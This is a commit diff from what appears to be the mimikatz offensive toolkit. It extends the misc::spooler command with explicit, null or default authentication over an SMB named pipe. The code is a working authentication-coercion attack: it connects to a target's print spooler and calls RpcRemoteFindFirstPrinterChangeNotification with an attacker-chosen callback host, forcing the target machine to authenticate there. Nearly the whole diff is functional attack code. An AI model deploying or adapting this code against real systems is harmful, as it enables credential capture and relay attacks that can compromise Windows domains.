[enhancement] misc::spooler now supports transport authentication (SMB named pipe)

This commit is contained in:
Benjamin DELPY 2021-07-25 00:49:52 +02:00
parent dc1e3347a5
commit 2a5b839224

View File

@ -1342,58 +1342,127 @@ handle_t __RPC_USER STRING_HANDLE_bind(IN STRING_HANDLE Name) {return hSpoolHand
void __RPC_USER STRING_HANDLE_unbind(IN STRING_HANDLE Name, handle_t hSpool) {}
NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[])
{
LPCWSTR szRemote, szCallbackTo;
LPWSTR szPathToCallback = NULL;
NTSTATUS status;
PRINTER_HANDLE hPrinter;
DEVMODE_CONTAINER Container = {0, NULL};
DWORD ret;
DWORD dwRet, AuthnSvc;
long ret = 0;
NETRESOURCE nr = {0, RESOURCETYPE_DISK, 0, 0, NULL, NULL, NULL, NULL};
LPCWSTR szUser, szPassword, szRemote = NULL, szEndpoint, szCallbackTo;
PWSTR szPathToCallback;
SEC_WINNT_AUTH_IDENTITY secIdentity = {NULL, 0, NULL, 0, NULL, 0, SEC_WINNT_AUTH_IDENTITY_UNICODE};
if(kull_m_string_args_byName(argc, argv, L"authuser", &szUser, NULL))
{
AuthnSvc = RPC_C_AUTHN_GSS_NEGOTIATE;
kprintf(L"[auth ] Explicit authentication\n");
kprintf(L"[auth ] Username: %s\n", szUser);
secIdentity.User = (USHORT *) szUser;
secIdentity.UserLength = lstrlen(szUser);
if(kull_m_string_args_byName(argc, argv, L"authpassword", &szPassword, NULL))
{
kprintf(L"[auth ] Password: %s\n", szPassword);
secIdentity.Password = (USHORT *) szPassword;
secIdentity.PasswordLength = lstrlen(szPassword);
}
}
else if(kull_m_string_args_byName(argc, argv, L"noauth", NULL, NULL))
{
AuthnSvc = RPC_C_AUTHN_NONE;
kprintf(L"[auth ] None\n");
szUser = szPassword = L"";
}
else
{
AuthnSvc = RPC_C_AUTHN_DEFAULT;
kprintf(L"[auth ] Default (current)\n");
szUser = szPassword = NULL;
}
kull_m_string_args_byName(argc, argv, L"endpoint", &szEndpoint, L"\\pipe\\spoolss");
kprintf(L"[ rpc ] Endpoint: %s\n", szEndpoint);
if(kull_m_string_args_byName(argc, argv, L"server", &szRemote, NULL) || kull_m_string_args_byName(argc, argv, L"target", &szRemote, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"connect", &szCallbackTo, NULL) || kull_m_string_args_byName(argc, argv, L"callback", &szCallbackTo, NULL))
{
if(kull_m_string_sprintf(&szPathToCallback, L"\\\\%s", szCallbackTo))
if(kull_m_string_sprintf(&nr.lpRemoteName, L"\\\\%s\\IPC$", szRemote))
{
kprintf(L"[info] %s will try to connect to %s\\IPC$\n\n", szRemote, szPathToCallback);
if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, L"\\pipe\\spoolss", L"spooler", TRUE, RPC_C_AUTHN_DEFAULT, NULL, RPC_C_IMP_LEVEL_DEFAULT, &hSpoolHandle, NULL))
if(kull_m_string_sprintf(&szPathToCallback, L"\\\\%s", szCallbackTo))
{
RpcTryExcept
kprintf(L"[trans] Disconnect eventual IPC: ");
dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE);
if((dwRet == NO_ERROR) || (dwRet == ERROR_NOT_CONNECTED))
{
ret = RpcOpenPrinter(NULL, &hPrinter, NULL, &Container, GENERIC_READ);
if(ret == ERROR_SUCCESS)
kprintf(L"OK\n[trans] Connect to IPC: ");
dwRet = WNetAddConnection2(&nr, szPassword, szUser, CONNECT_TEMPORARY);
if(dwRet == NO_ERROR)
{
ret = RpcRemoteFindFirstPrinterChangeNotification(hPrinter, PRINTER_CHANGE_ALL, PRINTER_NOTIFY_CATEGORY_ALL, szPathToCallback, 42, 0, NULL);
if(ret == ERROR_SUCCESS)
kprintf(L"OK\n");
if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, szEndpoint, L"spooler", TRUE, AuthnSvc, secIdentity.UserLength ? &secIdentity : NULL, RPC_C_IMP_LEVEL_DEFAULT, &hSpoolHandle, NULL))
{
kprintf(L"Connected to the target, and notification is OK (?!)\n");
ret = RpcFindClosePrinterChangeNotification(hPrinter);
if(ret != ERROR_SUCCESS)
kprintf(L"[ rpc ] Resolve Endpoint: ");
status = RpcEpResolveBinding(hSpoolHandle, &winspool_v1_0_c_ifspec);
if(status == RPC_S_OK)
{
PRINT_ERROR(L"RpcFindClosePrinterChangeNotification: 0x%08x\n", ret);
kprintf(L"OK\n\n");
RpcTryExcept
{
ret = RpcOpenPrinter(NULL, &hPrinter, NULL, &Container, GENERIC_READ);
if(ret == ERROR_SUCCESS)
{
ret = RpcRemoteFindFirstPrinterChangeNotification(hPrinter, PRINTER_CHANGE_ALL, PRINTER_NOTIFY_CATEGORY_ALL, szPathToCallback, 42, 0, NULL);
if(ret == ERROR_SUCCESS)
{
kprintf(L"Connected to the target, and notification is OK (?!)\n");
ret = RpcFindClosePrinterChangeNotification(hPrinter);
if(ret != ERROR_SUCCESS)
{
PRINT_ERROR(L"RpcFindClosePrinterChangeNotification: 0x%08x\n", ret);
}
}
else if(ret == ERROR_ACCESS_DENIED)
{
kprintf(L"Access is denied (can be OK)\n");
}
else PRINT_ERROR(L"RpcRemoteFindFirstPrinterChangeNotification: 0x%08x\n", ret);
ret = RpcClosePrinter(&hPrinter);
if(ret != ERROR_SUCCESS)
{
PRINT_ERROR(L"RpcClosePrinter: 0x%08x\n", ret);
}
}
else PRINT_ERROR(L"RpcOpenPrinter: 0x%08x\n", ret);
}
RpcExcept(RPC_EXCEPTION)
PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
RpcEndExcept
kprintf(L"\n");
}
else PRINT_ERROR(L"RpcEpResolveBinding: 0x%08x\n", status);
kull_m_rpc_deleteBinding(&hSpoolHandle);
}
else if(ret == ERROR_ACCESS_DENIED)
{
kprintf(L"Access is denied (can be OK)\n");
}
else PRINT_ERROR(L"RpcRemoteFindFirstPrinterChangeNotification: 0x%08x\n", ret);
ret = RpcClosePrinter(&hPrinter);
if(ret != ERROR_SUCCESS)
kprintf(L"[trans] Disconnect IPC: ");
dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE);
if(dwRet == NO_ERROR)
{
PRINT_ERROR(L"RpcClosePrinter: 0x%08x\n", ret);
kprintf(L"OK\n");
}
else PRINT_ERROR(L"WNetCancelConnection2: 0x%08x\n");
}
else PRINT_ERROR(L"RpcOpenPrinter: 0x%08x\n", ret);
else PRINT_ERROR(L"WNetAddConnection2:%u\n", dwRet);
}
RpcExcept(RPC_EXCEPTION)
PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
RpcEndExcept
else PRINT_ERROR(L"WNetCancelConnection2: %u\n", dwRet);
kull_m_rpc_deleteBinding(&hSpoolHandle);
LocalFree(szPathToCallback);
}
LocalFree(szPathToCallback);
LocalFree(nr.lpRemoteName);
}
}
else PRINT_ERROR(L"missing /connect argument to specify notifications target");